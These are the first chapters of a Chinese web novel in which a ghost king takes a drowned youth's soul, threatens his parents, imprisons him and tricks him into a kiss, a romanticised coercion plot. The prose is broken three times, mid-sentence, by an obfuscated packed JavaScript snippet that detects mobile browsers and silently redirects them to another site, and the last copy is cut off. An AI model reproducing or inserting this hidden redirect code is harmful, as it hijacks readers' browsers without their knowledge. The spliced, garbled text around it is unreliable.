《被迫和鬼王成婚后》 1. 千年后的重逢(1) [万鬼渡忘川,共引离魂归。] [相思点魂灯,共续今生缘。] —— 冰冷的河水,如同可怕的触手缠绕着云霁白的四肢百骸。 他最后的意识,是被汹涌的河水淹没,岸上的哭声、呼喊都变得遥远,仿佛隔着一个世界。 黑暗,阴森到令人害怕的黑暗,正将他缓缓包裹。就在他意识即将混沌的刹那,周遭的冰冷骤然褪去。 一种绝对的死寂将他完全笼罩。 他仿佛不再下沉,而是悬浮于一片虚无之中。然后,他在湍急的河底睁开眼,看见一道目光。 一道穿越了万古洪荒,凝练了无尽岁月,此刻正牢牢锁住他的目光。 云霁白艰难地抬眼望去。 虚无的深处,彼岸花如火如荼开放,一道身影缓缓向他走来。 那人身着玄色冕服,冕服上绣着张牙舞爪的幽冥百鬼,广袖曳地,威仪天成。他的白发高高束起,露出毫无血色的脸,俊美得令人窒息,仿佛由极寒之地的冰雪精心雕琢而成。 身旁跟着两个脸上没有五官,提着蓝色魂灯的小鬼。身后跟着无数有序列队的游魂,跪伏在地上,拥护他们至高无上的王。 鬼王周身散发着幽邃的光芒,是这无边黑暗里唯一的光源,也是唯一的中心。 他静静地站在那里,仿佛已站立了千万年,只为等待这一刻。 云霁白的心跳,在看清对方眼眸的瞬间,几乎停滞。 那是一双怎样的眼睛啊……深邃如同亘古的星辰,流转着暗紫光芒的眼眸。 仿佛在很久很久以前,云霁白就被这双眼睛无数次凝望过。 “欢迎回家。” 一个低沉而冰冷的声音直接在云霁白的灵魂深处响起。 鬼王苍梧,缓缓抬起手,手指骨节分明,苍白修长,带着属于幽冥的寒意,轻轻触碰云霁白冰冷的脸颊。 “我的小凤凰。” 在他的指尖即将碰触到的瞬间,云霁白脑 中轰然一震! 无数破碎的光影如潮水般涌现—— 飞扬的衣袂,交错的杯盏,茂盛的梧桐林,以及绝望的呼唤,染血的拥抱…… 画面支离破碎,却带让人锥心刺骨。 “你……”云霁白张了张嘴,却发不出任何声音,只有灵魂在身体深处剧烈震颤。 你是谁?我们……是不是在那里见过? 我为什么会出现在这里……我不是掉进河里了吗?太多太多的疑问涌上脑海……或许眼前的鬼王能够给他答案。 鬼王的指尖落在他的眉间。 指尖微不可察的颤抖,泄露了这位鬼界之主并不平静的内心。他的目光贪婪地描摹着云霁白的容颜,像是要将这失而复得的珍宝,一寸寸刻入不朽的灵魂。 那冰冷的触感,并未带来更多的不适,反而奇异地抚平了云霁白濒死的恐惧。 苍梧的声音低沉如诉,带着难以言说的疲惫与偏执,“这一次,谁也无法将我们分开。” 他的话语像是宣告,不容云霁白拒绝。 下一瞬,强大的牵引力传来。 云霁白感觉自己的魂魄被一股无法抗拒的力量从冰冷的躯壳中温柔又霸道地剥离,轻飘飘地落入一个冰冷却坚实的怀抱。 苍梧将他打横抱起,如同捧起一件失落已久的宝贝。 在彻底失去对人间感知的前一刻,云霁白最后看到的,是苍梧低头凝视他时,那双深邃眼眸中翻涌着几乎要将他吞噬的复杂情感——有失而复得的狂喜,有历经漫长的等待,更有一种近乎疯狂变态的占有。 就好像河边的失足并非意外,而是命运本该如此。 宿命的牵引,让幽冥的君主终于找到分离千年的爱人。 这场初见是死亡的终结,却也是一场横跨生死、颠覆轮回的重逢之始。 岸上的人绝望哭泣,云夫人跪在泥泞的河岸,发髻散乱,嗓音早已哭得嘶哑破碎:“儿啊,我的孩子啊……”她一次次向前探身,几乎要栽进那湍急的河流,被眼疾手快的丫鬟死死拉住。 云老爷双目赤红,不死心地沿着河岸深一脚浅一脚地奔走,徒劳地呼喊着:“霁白!霁白你听到了吗?听到了你就应爹一声!”他的声音在空旷的河面上回荡,带着巨大的悲伤。下人们举着火把,映照着水面破碎的光影,却照不亮那吞噬了他们小少爷的深渊。 这撕心裂肺的呼喊,穿透了生与死的界限,在幽冥的忘川河畔不停地回荡。 正被苍梧抱在怀里的云霁白猛地一颤。 那声音……是爹娘的声音! 他猛地从苍梧怀里抬头,空洞的眼眸里骤然迸发出一丝光亮,挣扎着想要回头,朝向那声音的来源,“爹……娘……”他嘴唇翕动,发出微弱的回应,“我在……我在这里……” 可他的声音太轻了,轻得像叹息,瞬间就被汹涌的忘川河吞没。他伸出手,想要抓住什么,指尖却只碰到了冰冷的幽冥雾气。 “你说什么?”苍梧冰冷的声音在他耳边响起,带着一丝不悦的警告。他的手臂如同铁箍,更紧地圈住了云霁白的腰身,阻止他任何试图挣脱的举动。 “我爹娘……他们在叫我……”云霁白仰起头,泪水无声地滑落,带着新生魂魄独有的悲伤,“他们在哭……大人,求求你,让我再看看他们,就一眼……让他们知道我还好好的……” 他眼中卑微的乞求,像一根针,刺中了苍梧心底最隐秘的角落。 苍梧的紫瞳暗沉下来,里面翻涌着复杂难辨的情绪。他看着云霁白泪流满面的脸,看着他对人间亲情的深切眷恋,与千年前相似的痛楚仿佛再次被唤醒。 但他没有心软。 苍梧的声音依旧冰冷,却似乎少了几分以往的绝对强硬,多了一丝难以言喻的晦暗,“你已经死了,无法回到人间。” 直白的话语令人心碎,云霁白哭得更凶了。 苍梧烦躁的抬起另一只手,宽大的袖袍遮住了云霁白的视线,也隔绝了那来自人间令人心碎的呼唤。 “不……不要……”苍梧的声音如同沉重的大石头,砸碎了他最后的希望,他在苍梧怀里无力地挣扎,泪水浸湿了苍梧玄色的衣襟,“是不是你!是不是你把我杀死的!是你让我和爹娘阴阳两隔……是你,你这个无情无义的小人……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908431|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他所有的恐惧、无助和对人间的眷恋,在这一刻尽数化作对苍梧的指控和恨意。那双原本清澈如霁月的眼眸,此刻被怒火和绝望烧得通红,几乎要滴出血来。 两盏蓝色的魂灯因为鬼王的怒火而熄灭,提灯小鬼呼吸一滞,从未见过这样不知天高地厚的鬼魂,竟然敢这样对他们伟大的鬼界之主动手。 苍梧的脚步猛地顿住。 周遭幽冥的雾气仿佛都因他身上骤然散发的寒气而凝滞。苍梧缓缓低下头,紫瞳中倒映着云霁白因愤怒而扭曲的苍白面孔。 “是本王又怎样?”苍梧冷哼一声,声音里带着一种近乎残忍的漠然和绝对权力的俯视,“你能拿本王怎么样?” 听见苍梧就这么承认了,两个小鬼虽然没有五官,却能清晰看出惊讶之态,这可是鬼王大人,怎么可能动用这样下三滥的勾魂手段……若是想要谁的魂就要谁死,人间和鬼界岂不是要乱套了嘛…… “你卑鄙!”云霁白嘶声吼道,声音破碎不堪。他像是被困住的幼兽,用尽全身力气,徒劳地捶打着苍梧冰冷坚硬的胸膛,“你放开我!你这个卑鄙小人!” 他的拳头对于苍梧来说如同挠痒,但那其中蕴含的纯粹的憎恨,却比任何神兵利刃都要伤人。 苍梧眼底的怒意终于被彻底点燃,混合着一丝连他自己都未曾察觉的,被误解的委屈。他猛地出手,一把攥住云霁白胡乱挥舞的手腕,力道大得几乎要捏碎那纤细的骨头。 “卑鄙?”苍梧冷笑,紫瞳中暗流汹涌,周身散发的压迫感让附近的彼岸花都微微蜷缩,“这才哪到哪啊……” 他俯身逼近,几乎与云霁白额头相抵,冰冷的气息喷洒在对方脸上。 “云霁白,”他的声音低沉而危险,带着一种被误会后的口不择言,“你若是再说一句让我不想听到的话,我就杀了你爹你娘。” “带回去,关进幽冥殿,没有本王的允许不许踏出半步。” 说完,他不再给云霁白任何挣扎或反驳的机会,施法把人彻底禁锢怀中,以一种不容抗拒的姿态,大步向着幽冥深处走去。 “你凭什么把我关起来!放我回去!我要回去见我爹娘!”眼泪挂在脸上,双手双脚胡乱扑腾,云霁白真的害怕极了。 “就凭本王是鬼界的王,掌管你的生和死。”苍梧擦掉云霁白脸上泪,快速向前走,并不理会云霁白的反抗。 云霁白所有的哭喊和捶打,都像是撞在了亘古不化的玄冰之上,除了带来更深的绝望和冰冷的回响,别无他用。 苍梧感受到怀中魂魄细微的颤抖,眼中的怒意渐渐被一种更深沉更复杂的情绪取代。他抱紧了他,穿行在死寂的鬼域,仿佛要将这失而复得的珍宝,牢牢锁在自己永恒的孤寂里。 他们的身影远去,彻底融入鬼界浓重的雾气与无尽的彼岸花海之中。 河岸上,云夫人因悲伤过度,彻底晕厥过去。云老爷老泪纵横,抱着妻子,望着没有任何回应的冰冷河面,最后一点希望也彻底熄灭。 河水依旧奔流不息,带走了曾经的少年,也隔断了此生最后的回响。 唯有风中,似乎还残留着一声似有若无的来自幽冥的叹息。 2. 千年后的重逢(2) 这里没有黑夜白天,只有永恒的无尽的孤独。 幽蓝的鬼火在墙壁的骨架上跳跃,映照出扭曲晃动的影子。空气中混杂着深入骨髓的寒冷,混杂着陈旧香火气和某说不清的属于死亡本身的虚无气息。 云霁白被关在在幽冥殿,像一只被折断翅膀,锁进金丝笼的雀鸟。殿门处有无形的结界,每次靠近,都会被一股柔和却无法抗拒的力量推回,让他无法逃离这个地方。 他试过反抗,用尽了能想到的所有方法——哭喊、斥骂、绝食,甚至像困兽一样试图砸碎视线内所有能移动的东西。 可结果呢?那些被摔碎的黑玉盏,下一刻便会恢复如初,无声地提醒着他,在这里,连破坏都是一种徒劳。 他被关着的时间里,苍梧来过好几次,每次都以争吵,苍梧生气离开结束。 云霁白离不开这里,愤怒像火焰一样灼烧着他的五脏六腑,却找不到出口,只能在内里煎熬。 明明前不久他还是云家捧在手心里长大的小少爷,是城中少年少女倾慕的对象,曾以为天地广阔,任遨游。 可现在,他的天地只剩下这空旷、死寂的大殿,这种无力感,比任何直接的伤害都更让人崩溃。 孤独感无时无刻不在侵蚀着他。 他开始不可抑制地想念人间。 想念人间带着暖意的阳光,想念母亲身上淡淡的荷花香,想念父亲教导他时眼底藏不住的关切,甚至想念来福那傻乎乎、总是慢半拍的回答。 那些曾经寻常被他忽略的一切,此刻都成了遥不可及的奢望。 每每想到这里,云霁白的眼眶总会不受控制地发热,但他死死咬着唇,不让泪水掉下来,他不能哭,不能在这里哭,因为没有爹娘给他擦泪了…… 桌上放着鬼界供鬼食用的魄,香甜的气息无时无刻不再诱惑着他,耳畔响起吃和不吃的两种声音。 他不能吃,绝对不能吃。 可是好难受……他已经好久没进食了。 不能吃,吃了就真的变成鬼了,再也回不去了。 云霁白倔强的扭过头,看向窗外,看向茫茫无边黑暗,更加坚定了内心的想法。 他要逃。 逃出去,回到人间。 “他还是不肯吃东西吗?”苍梧面无表情坐在高位,周身散发的气场令人不寒而栗,殿内幽蓝的鬼火都随之明灭不定。 被关进幽冥殿后,云霁白就开始不吃不喝,仿佛想用绝食来彰显回到人间的决心。 小鬼若影跪在地上,身形颤颤巍巍,好像寒风里发抖的毒蘑菇:“回禀鬼王,鬼后……仍、仍不肯进食。” 人要进食,才能活,鬼也一样。不过,人吃的是饭,而鬼,尤其是低等鬼魂,需食生灵之魄以凝实魂体。 人不吃饭,会死;鬼不食魄,会散。 人死了,还有魂,若是魂散了,可就什么都没了。 云霁白刚入鬼界没多久,本质上仍属低级鬼魂,若是一直不食魄,便会魂飞魄散,难寻踪迹。 嘭! 苍梧一巴掌拍在白骨桌上,坚硬的骨头瞬间出现裂痕,怒道:“不识好歹!饿死他算了!” 若影看着那濒临粉碎的桌子,心疼得不得了。苍梧是鬼界之主,鬼界万物都与他心绪相连。他愤怒,万鬼跟着恼怒;他心动,万鬼跟着躁动……这殿中之物也不例外,他亲手弄坏的东西,若是他无心修好,便会化作飞灰,随风消散。 若影壮着胆子,小声叹息道:“大人,这是您拍坏的第三十一张桌子了,若是再这样下去,您恐怕真要没地方处理文书了。” 苍梧猛地瞪向他,紫瞳中怒火更炽:“鬼后不食魄,你竟然还有心思担心桌子!?我泱泱鬼界,还缺一张桌子不成!?” 若影:“……” 鬼界是不缺桌子,但像这样符合您身份、用千年寒骨打磨的桌子,还真没几张了。 苍梧胸口剧烈起伏,显然怒气未平,但更多的是无处发泄的焦躁和被极力掩饰的恐慌。他闭上眼,脑海中浮现出云霁白日渐苍白、甚至开始有些透明的魂体。那倔强的人儿,宁愿一点点消散,也不愿接受他给予的“食物”,这比任何直接的反抗都更让他无力。 “没用的废物。”良久,苍梧的声音低沉下来,带着一丝不易察觉的沙哑。 咔嚓!白骨桌终于彻底碎裂,化作齑粉,簌簌落下。 苍梧站起身,玄色冕服无风自动,强大的威压让若影几乎趴伏在地。 “王,请息怒。” “滚。” 苍梧身影一闪,消失在王座之上,下一刻,便出现在囚禁着云霁白的宫殿外。 他没有立刻进去,只是隔着那扇雕刻着幽冥符文的大门,静静地站着。他能感受到里面那缕微弱的气息,像风中残烛,仿佛下一刻就要熄灭。 千年等待,百转轮回,难道要眼睁睁看着他再次在自己面前消散? 苍梧的拳头紧紧握住,指节泛白。紫瞳之中,暴怒、偏执、无奈,以及那深藏其下的、几乎要被这绝望局面逼出来的痛楚,交织翻涌。 “阿渊……本座还是拿你没办法……” 云霁白听见有人喊自己的乳名,猛然惊醒,却见一片黑暗,他还在这座大殿里。 苍梧用法力凝成无形枷锁,将他牢牢禁锢在这幽暗的大殿里,成为连日光都见不到的囚徒。 云霁白坐在窗前,身形单薄的几乎要融入窗外的黑暗。若辰捧着盛放魂魄精华的白玉盏,跪在他跟前,小心翼翼地劝道:“鬼后……小的求您吃点吧……您不吃……您不吃的话,鬼王大人饶不了我们的。” “我说了我不是什么鬼后,”云霁白的脸倔强地扭向左边,声音虚弱却带着不容置疑的坚持,“我还没有死……” 若辰连忙跪行到左边,依旧低着头,眼珠却滴溜溜转着,试图说服他:“不可能的,只有死人才会入鬼界,生者不可能找到鬼界,更不可能进入鬼界的。” 这是鬼界的常识。 云霁白猛地将脸扭回来,声音因为激动而带着明显的起伏:“你们大人亲口说了!是他拿走了我的寿命!提前结束我的生命,让我和家人分离!” 苍梧亲口承认的!还有两个提灯的小鬼可以作证。 若辰立刻跪行到右边,听见此话猛然抬头,脸上写满了惊愕与难以置信:“不可能的!大人绝不可能这么做!”他语气急切地解释,“您想想看,若是大人想要谁的命,谁就得死,那么阴阳秩序岂不是乱套了?六道轮回还要不要了?而且,大人虽是一界之主,但也只能管辖鬼界之事,阳间寿数由天定,生死簿由判官执笔,大人他……他强行干涉的话,是要遭受天谴,付出极大代价的!严重的话,大人可是会死的!” 最后一句,若辰压低了声音,带着一种分享秘密般的惶恐。 云霁白冷哼,依旧不信:“你们是一伙的,我怎么知道你是不是为了帮助你家大人而编谎话骗我。” 若辰连忙将头磕在地上,发出清脆的响声,发誓道:“小的不敢!您是鬼后,身份尊贵,跟您撒谎,可是要灰飞烟灭的!小的万万不敢骗您啊!” 云霁白沉默了片刻,看着若辰惶恐的样子,不似作伪。他心中那片坚冰,似乎裂开了一丝微不可察的缝隙。他提出了一个试探性的条件,目光紧盯着若辰:“那你放我出去,让我回人间看一眼,我就相信你。” 若辰的身体瞬间僵住,头埋得更低,声音带着哭腔:“鬼后,您、您就别为难小的了……没有大人的命令,别说放您出去,就是这殿门,小的也不敢让您跨出半步啊……大人会让我灰飞烟灭的……” 云霁白眼中刚刚亮起的那一点点微光,瞬间熄灭了。 果然。 还是不行。 所有的解释,听起来再合理,最终的目的,依旧是将他困在这里。 他不再看若辰,也不再看那盏散发着诱惑气息的魄,只是重新将空洞的目光投向窗外那片永恒的、代表幽冥的黑暗。他的侧脸在幽暗的光线下,显得更加苍白脆弱,仿佛轻轻一触,就会如同琉璃般破碎。 他轻轻地、一字一顿地说道,声音里带着一种心死后的麻木:“既然出不去,无法验证你说的话是真是假……” “那么,这魄,我不吃。” “这鬼后,我也不做。” “若他苍梧真要看着我魂飞魄散,那就……随他的便吧。” 他的声音很轻,却带着一种比任何激烈反抗都更让若辰心惊的决绝。 没想到这个看起来那么弱小的人,却那么聪明,那么坚强,若辰捧着玉盏的手开始发抖,拼命地想挽救的办法:“不过……小的知道一个地方,可以让鬼重返人间……只是……” “只是什么……你快说啊!”云霁白眼里重新燃烧起希望的火焰,哪怕是一点希望他都不会放弃。 “只是那地方……只有鬼王才能开启。” 云霁白眼里的光一点一点灰暗下去:“我知道了,你把东西放下吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908432|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>若辰道:“大人那么喜欢您,您稍微吹吹枕边风,说点好听的,大人肯定听您的。” 撒娇……他最会撒娇了。 云霁白嘲讽:“你家大人要是听我的,早就该让我回人间了,而不是把我囚禁在这里。” “……” 见劝说不动,若辰小心翼翼把白云盏放在桌上:“小的告退。” 出了鬼殿,看见苍梧站在不远处,若辰吓得腿一抖,直接跪地上了:“小的见过大人……” 苍梧不语。 若辰道:“大人放心,鬼后同意食魄了,只是需要您配合一下。” 苍梧眉宇舒展:“下去吧。” 在殿外站了多时的苍梧终于迈出了第一步,进了鬼殿。 云霁白仍保持着若辰离去时的姿态,侧坐在窗边,唇瓣紧抿,纤细的小腿悬空,有一下没一下地晃动着。系在白皙脚腕上的红绳铃铛,随着动作发出细碎清泠的声响,在这过分寂静的殿中格外清晰。 听见脚步声,他回头,看清来人是苍梧时,那双原本黯淡的眸子倏地亮了起来,像是夜空中骤然点亮的星辰。他从坐榻起身,几乎是蹦跳着扑进苍梧怀里,声音带着几分委屈:“鬼王哥哥,这里好冷,我不想一个人呆在这里……” 苍梧手臂微抬,顺势将他打横抱起。云霁白也极其自然地环住他的脖颈,脸颊轻贴在他冰凉的冕服前襟,动作亲昵得仿佛本该如此。 “别耍花招。”苍梧的声音听不出情绪,将他放在柔软的云榻上,玄色广袖拂过榻边,“本座不吃你这一套。” 云霁白在心中轻哼,还没有人能无视他的撒娇。于是越发凑近,指尖轻轻扯住苍梧的袖口晃了晃,眼睫低垂,声音又软了几分:“鬼王哥哥,人家饿……你喂我好不好?” 苍梧眸光微动,将一旁的白玉盏推至他面前,语气淡漠:“你没手?” 云霁白暗自气结——若辰那小子果然在骗他!他也傻的可笑,竟真信了鬼话,面上却不露分毫,只将手往身后藏了藏,语气愈发可怜:“真的……鬼王哥哥,我真的手疼……” “那便不吃。”苍梧说着,指尖在盏沿一拂,其中凝聚的、散发着莹莹微光的白色精魄便被他自己纳入口中。 云霁白愕然睁大双眼,心想,再也不相信若辰这个鬼了,真的是鬼话连篇。 正懊恼间,却见苍梧忽然俯身靠近。 微凉的手指挑起他的下巴,微凉的唇瓣贴了上来。冰冷的触感之下,有温润的魄息渡入口中,带着难以言喻的异香,瞬间充盈唇齿。 恍惚间,无数模糊的画面掠过脑海——或拥,或亲,或十指相扣,或赤诚相对,甚至更为旖旎的片段……纷至沓来,真假难辨。 云霁白呆住了,怔怔地望着眼前放大的俊美面容,下意识地,舌尖轻轻舔舐渡来食物的源头……待那魄精的香甜散去,触到的只有对方微凉而湿软的舌,他才猛地惊醒,像是被烫到一般,慌忙将人推开。 云霁白苍白的脸颊霎时绯红一片,手足无措地看着苍梧:“你亲我?你亲我了?你没亲我吧……你可是鬼啊,你怎么能亲我呢……我们那里的规矩……亲了可是要成亲的……” 苍梧漫不经心理了理被云霁白抓乱的衣袍,语气突然变得酸溜溜的:“这不成文的规矩你倒是记得清楚……” 云霁白茫然。 “魄无实体,无法触摸,唯此法可渡。”苍梧直起身,略显嫌弃地拭过自己的唇角,语气却带着不容置疑,“下次,不许再提这等无理要求。” 真亲了啊…… 云霁白羞得无地自容,恨不得能缩进那白玉盏中:“我不知道……” “不知者无罪。”苍梧垂眸看他,语气似是无奈,又似是纵容,“谁让你是本王的鬼后呢,本王纵容你这一次。” 捕捉到这一丝纵容,云霁白趁机抬眸,眼含期待,小声央求:“那……我能出去走走吗?一个人实在太无聊了,你又不陪着我……” 说到最后,他竟然觉得委屈。 苍梧静默片刻,似在思忖,终是道:“本王日理万机,自是无暇。待明日得空,再带你游览鬼界。” 云霁白立刻乖巧点头。 “还有……记得你说的话。” 云霁白表情空白,心想,说什么话了? 苍梧转身离去,无人看见的角落,原本紧绷的唇角,几不可察地、一点一点地缓缓勾起。 那弧度极浅,却似春风拂过冰封的湖面,漾开细微而频繁的涟漪。 3. 千年后的重逢(3) 苍梧回到主殿,瞧着文书,其实一点都看不下去,频频用余光看向若辰,思索若辰到底跟云霁白说了什么,才会让云霁白如此乖巧听话,一口一个鬼王哥哥,喊得他都僵了。 以他的身份可以直接问若辰跟云霁白说了什么,但是……他身为鬼界之主,身份尊贵,竟然要向自己的侍从询问房中之事,哄人之道……若是传出去他鬼王的脸面还往哪搁。 若辰在一旁提灯,感受到苍梧频繁的目光,心思一颤,头更低了。 苍梧突然出声:“若辰。” 若辰膝盖一软,扑通一声跪下,手里的魂灯应声落地,蓝色的鬼火摔得七零八落。 苍梧蹙眉,随意挥了挥手,七零八碎的魂灯瞬间恢复如初,甚至比刚才更亮了:“你跟鬼后的关系很亲近啊。” 什么东西!?不是让鬼后吹枕边风吗?这风怎么拐了大弯吹他这里来了!这鬼后到底会不会撒娇!? 若辰跪伏在地上,小心翼翼道:“回禀鬼王,小的不敢。” 苍梧修长白皙的指尖有意无意点着白骨桌面。 一下两下……每一下都像生命的倒计时,听得若辰内心煎熬,汗流浃背。 “小的真的什么都没有做啊,小的只是劝……劝鬼后食魄而已……” 苍梧道:“只是这样?你从殿中出来后,鬼后变得十分乖巧听话……”停止敲击,语气骤然低沉,“这么听你的话,到底是你娶的鬼后还是本王娶的妻!?” 看苍梧的反应,应该是不知道他把阴阳两界的通道告诉鬼后这件事……他肯定不能主动说出来,说出来肯定会魂飞魄散的。 若辰欲哭无泪:“小的真没有……小的只是说,说陛下您统御鬼界,日理万机,平衡阴阳秩序,实在是辛劳无比,一言一行都关乎万千魂灵……” 他悄悄抬眼,瞥见苍梧面无表情,心中稍定,继续胡诌:“小的还说,陛下您虽然表面冷峻,但内心……呃,英明神武,对鬼后更是格外不同,从未对谁如此上心。或许……或许是鬼后他心地纯善,听了小的一番话,体会到了您的辛苦与……嗯……不易,所以心生怜惜,这才待您格外亲近了些……” 苍梧冷哼一声:“多此一举,鬼后本就心善,即使你不说,鬼后也会心疼本王。” 实则,嘴角慢慢挑起,声音都变得愉悦起来。 若辰松了一口气,心说,不见得。 “滚下去吧。” 若辰把魂灯吞进肚子里,把自己团成团滚出去了。滚到殿外,若影提着魂灯等着他呢:“别滚了,蠢不蠢,让你滚还真滚。王还在生气吗……” 若辰飘起来,吐出魂灯,提在手里:“别提了……好不容易团聚了,结果鬼后又不记事了。” 若影跟着叹息:“那怎么办……鬼后选择的路……” 若辰道:“我再去鬼后那里一趟……不然露馅了,我可要魂飞魄散了。” 若影迷茫:“不至于吧,鬼王虽然喜怒无常,贪恋鬼后美色,但也不至于牵连到你这里吧……这可是鬼后当年亲手选择的路,鬼王也同意了的……” 若辰一溜烟飘了:“哎呀,和你说了你也不懂……” 若影盯着若辰的魂灯看了一会儿,喃喃:“嘶……我怎么感觉你的魂灯变得更亮了呢,”低头看了一眼自己的魂灯,“难道是我的错觉吗……” - “鬼后。” 云霁白正坐在窗前看书,眉眼低垂,两扇睫毛长而卷翘,在幽蓝烛火的照耀下,白皙如玉的脸颊上落下两片小小的、蝶翼般的阴影。 他的肤色是一种近乎透明的白,仿佛上好的羊脂玉,泛着柔和而温润的光泽,与这幽冥的晦暗形成了鲜明对比,成为黑暗中唯一一抹刺眼的白。 墨色长发如瀑,未束未系,随意地流泻肩头,几缕发丝顺着他线条流畅的下颌坠落。一身素白的长衣宽大曳地,料子轻薄如雾,随着不知从何而来的微风轻轻拂动,衣袂飘飘间,更显得他身形孤独,可怜弱小。 他其实一个字都看不进去,发了疯的想逃离这个地方。因为苍梧设下的禁制,他无法离开,又无人能靠近。 一个人守着空旷的殿堂,说话都是回音,难免会孤独。 没人陪他说话,他只能通过看书的方式打发时间。等待着有人推开门扉,等待着苍梧带他出去。 他现在就像一个渴望光的囚徒。 云霁白从书中抬头,眉宇微微蹙起,“什么事?”一听是若辰的声音,眉头皱得更深了,哀怨道,“你这个鬼话连篇的鬼。” 怎么了这是……鬼后怎么也不高兴了…… 若辰笑嘻嘻:“鬼不鬼话连篇那还能叫鬼吗。鬼后这是怎么啦,心中不舒服吗?可愿跟小的说说?让小的为您排忧解难。” 云霁白道:“我所有的忧难都因你而起。” 若辰:“……” 得,马屁都拍马腿上了。 “你让我跟苍梧撒娇,苍梧根本不吃这一套!丢死人了!”云霁白一头扎进白玉盏里,只留个身子在外面,露出红彤彤的脖颈。 没脸见人了! “有些话不适合在外面说,小的还是进去说吧……”许久等不到回应,若辰大着胆子推门而入。 一进门就看见只剩下身子的云霁白,可把他吓坏了,声音都在哆嗦:“鬼后……鬼后……魄不是这样食用的,魄虽然看起来是透明的,是雾体,但其实是实的,可以触碰的……您可以用筷子,勺子,叉子,轻轻的弄起来食用……而不是让盛魄的白玉盏把您吃了。” “……你说什么?”云霁白拔出自己的脑袋,顶着红彤彤的脸看着若辰。 若辰小声道:“不是让魄吃您……” “不是这句。” “轻轻的弄起来食用。” “也不是这句,再前一句。” “魄是实体?” “对,没错,就是这句……” 这个苍梧! 云霁白脸更红了,一路红到脖颈,白里透着红,就像熟透的水蜜桃,散发着诱人的果香。 这个苍梧!竟然骗他!说什么“魄无实体,只能那么喂”……分明就是……就是趁机…… “你们鬼界从上到下没一个好东西!”云霁白气得咬牙切齿,只可惜那泛红的脸颊和湿润的眼眸,让他这番控诉毫无威慑力,反倒更像是在娇嗔。 若辰看着他这副模样,心中顿时明了,怕是鬼王陛下用了些……特别的“喂食”方法。他忍着笑,连忙安抚:“鬼后息怒,息怒!这其中定然是有些误会……您身为鬼后,身份尊贵,食用的魄定然是与我们这些小鬼是不一样的。” 云霁白冷哼一声,别过脸去,心里却乱成一团。被骗的羞恼,对那个吻的混乱记忆,以及一丝连自己都不愿承认的、被特殊对待的异样感,交织在一起。 他看着窗外暗无天日的景象,一个念头逐渐清晰:这样待下去不是办法,一定要离开这里,回家。 云霁白转回头,脸上红晕未退,眼神却冷静了许多,埋怨着:“苍梧就是个骗子,我都等他一天了,也不见他来带我出去。正巧你来了,不如你带我出去?” 若辰一愣,随即苦着脸应道:“这个……这个小的做不了主,您的宫殿被鬼王陛下设了结界,您暂时无法出去,这结界……只有陛下他能解开。” 云霁白抿了抿唇,眼底闪过一丝了然,果然如此。他抬起眼,语气带着一丝不容置疑:“我要见鬼王。” “遵命,鬼后。”若辰不敢怠慢,连忙从怀里取出一张泛着微光的黄色符纸,指尖凝聚魂力,快速在上面写下讯息。随后他两指并拢,指尖“噗”地燃起一团幽蓝色的鬼火,符纸瞬间被焚烧殆尽,化作一缕黑雾消散。 苍梧正高踞王座,听取下方几位鬼将与判官禀报要务。他漫不经心把玩着悬浮的红色凤翎,神情淡漠,直到那张在若辰手中燃烧殆尽的符纸无声无息地出现在他掌心。 他垂眸扫过上面的内容——鬼后想见您,他说,想您想的牵肠挂肚,饭不能食,夜不能寐,埋怨您忙于公务,不能陪伴身边…… 几乎是瞬间,苍梧平直如线的唇角一点一点,难以自控地勾了起来,白发拂过脸颊,紫瞳中闪过一丝混合着得意与愉悦的光芒。 下方正在禀报要事的判官,声音不由得顿住。众鬼臣你看看我,我看看你,皆从对方眼中看到了惊疑不定——鬼王这是……笑了?在这种商讨紧要公务的时候? 胆大的判官硬着头皮,再次小声强调:“大人,西南方向地脉异动,天际隐现不祥赤红。封印千年的凶兽焚煞,其气息再度躁动,业火于封印深处翻腾不止……千年封印出现裂痕,此兽积怨日久,一旦破缚而出,恐为祸苍生,波及阴阳两界啊!” 不知道苍梧有没有在听,他屈指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一会儿,苍梧肯定又会嘲笑他撒娇,云霁白想死的心都有了:“我什么时候这样说了!?” 若辰试图模糊重点:“别管您说没说,最起码鬼王大人来了不是吗?证明我写的还是有用的。” 云霁白咬牙切齿:“是,真有用。” 苍梧危险的眯起眼睛,看着肩并肩,脑袋挨在一起,窃窃私语的两人,不爽,非常不爽。 但是他身为鬼界之主,又不能表现出来。 吃一个无名小鬼的醋,传出去肯定会被人笑话。 不知过了多久,若辰终于感受到能杀死鬼的目光,跪在地上:“小的参见鬼王。” 若辰迅速道:“为了不打扰您的雅致,小的先行告退。” 苍梧点头:“退下吧。” 若辰走后,云霁白抬起头,脸上带着恰到好处的委屈和依赖:“这里好无聊……我想出去走走,若辰说不行,要你同意。” 苍梧走到他面前,低头看着他:“鬼界危险,你魂魄未稳,不宜乱走。” 